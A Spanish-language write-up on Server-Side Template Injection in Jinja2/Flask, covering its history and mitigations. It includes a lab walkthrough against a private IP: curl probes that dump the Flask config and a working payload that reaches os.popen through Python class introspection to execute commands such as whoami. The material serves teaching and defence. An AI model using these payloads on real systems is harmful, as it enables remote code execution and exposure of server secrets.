Descripción
La vulnerabilidad Server-Side Template Injection (SSTI), ocurre cuando una aplicación web evalúa entradas del usuario dentro de un motor de plantillas del lado del servidor sin la debida sanitización. Esto permite que un atacante inyecte código malicioso que el servidor interpretará, lo que puede llevar desde una simple exposición de información sensible, hasta la ejecución remota de comandos (RCE).
Los motores de plantillas como Jinja2 (Python), Twig (PHP), Velocity (Java) o Smarty (PHP) son comunes en entornos web modernos, y una configuración insegura puede convertirlos en vectores de ataque críticos.
Historia y evolución
Orígenes (2000–2010)
Inicialmente las aplicaciones web utilizaban motores de plantillas de forma sencilla para separar lógica y presentación.
Los ataques SSTI surgieron de manera limitada, cuando los desarrolladores pasaban entradas de usuario sin escape a plantillas dinámicas.
Primeros reportes públicos (2011–2014)
- Comenzaron a documentarse ataques en motores como Jinja2 y Smarty, donde la evaluación de expresiones podía exponer datos internos.
- Las herramientas de pentesting empezaron a incluir pruebas automáticas de SSTI (payloads simples como
{{7*7}}).
Evolución y consolidación (2015–2019)
- Se descubrieron vectores de RCE completas, explotando la introspección de Python (
__class__,__subclasses__) y otros motores similares. - Se publicaron guías de mitigación: autoescape, sandboxing y validación estricta de entradas.
- Se descubrieron vectores de RCE completas, explotando la introspección de Python (
SSTI hoy (2020–presente)
- Es considerada una vulnerabilidad crítica en aplicaciones modernas, especialmente en microservicios y APIs que procesan plantillas dinámicas.
- Herramientas automatizadas (Burp Suite, OWASP ZAP, etc.) incluyen detección de SSTI como estándar.
- Su mitigación combina control de entradas, sandboxing, políticas de permisos mínimos y monitoreo, siendo una práctica clave en seguridad web.
Verificación de SSTI con Jinja2
A continuación se detalla el proceso de verificación, enumeración y explotación de esta vulnerabilidad.
❯ curl "http://192.168.1.151:50000?cmd={{7*7}}"
49La respuesta 49 confirma que el motor de plantillas está evaluando expresiones, con esto confirmamos la vulnerabilidad SSTI.
Enumeración de configuración con Jinja2
❯ curl "http://192.168.1.151:50000?cmd={{config}}"
<Config {...}>En esta etapa, el atacante puede acceder al objeto de configuración de Flask, exponiendo información interna del servidor, incluyendo rutas, claves secretas o configuraciones sensibles. Este comportamiento constituye un fallo grave de lógica de negocio y puede ser el punto de partida para una escalada de privilegios.
Ejecución remota de comandos
Posteriormente, se empleó un payload que itera sobre las clases internas del intérprete Python, para acceder al módulo __import__('os') y ejecutar comandos arbitrarios mediante popen:
{%
for x in ().__class__.__base__.__subclasses__()
%}
{%
if "warning" in x.__name__
%}
{{
x()._module.__builtins__['__import__']('os').popen(request.args.input).read()
}}
{% endif %}
{% endfor %}Se accede vía navegador:
http://192.168.1.151:50000/?cmd={% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}&input=whoamiResultado:
paulEl comando fue ejecutado exitosamente en el servidor, confirmando una ejecución remota de comandos (RCE) a través de la inyección de plantillas.
Clasificación
- Tipo: Inyección / Ejecución remota de código (RCE)
- OWASP Top 10: A03 - Injection
- Impacto: Crítico, ya que permite ejecución de código arbitrario en el servidor, acceso a información sensible y escalamiento de privilegios.
- Motores afectados: Jinja2 (Python), Twig/Smarty (PHP), Velocity (Java), Handlebars (JS/Node), entre otros.
Recomendaciones
Evitar la renderización directa de datos proporcionados por el usuario.
Utilizar funciones seguras o filtros de escape en los motores de plantillas.
Implementar validaciones de entrada y mecanismos de control de acceso adecuados.
La mitigación temprana de esta vulnerabilidad es esencial para prevenir compromisos graves del entorno de ejecución.
La vulnerabilidad SSTI identificada representa un riesgo crítico para la aplicación, ya que permite a un atacante ejecutar código arbitrario en el servidor. Este tipo de falla compromete completamente la confidencialidad, integridad y disponibilidad del sistema.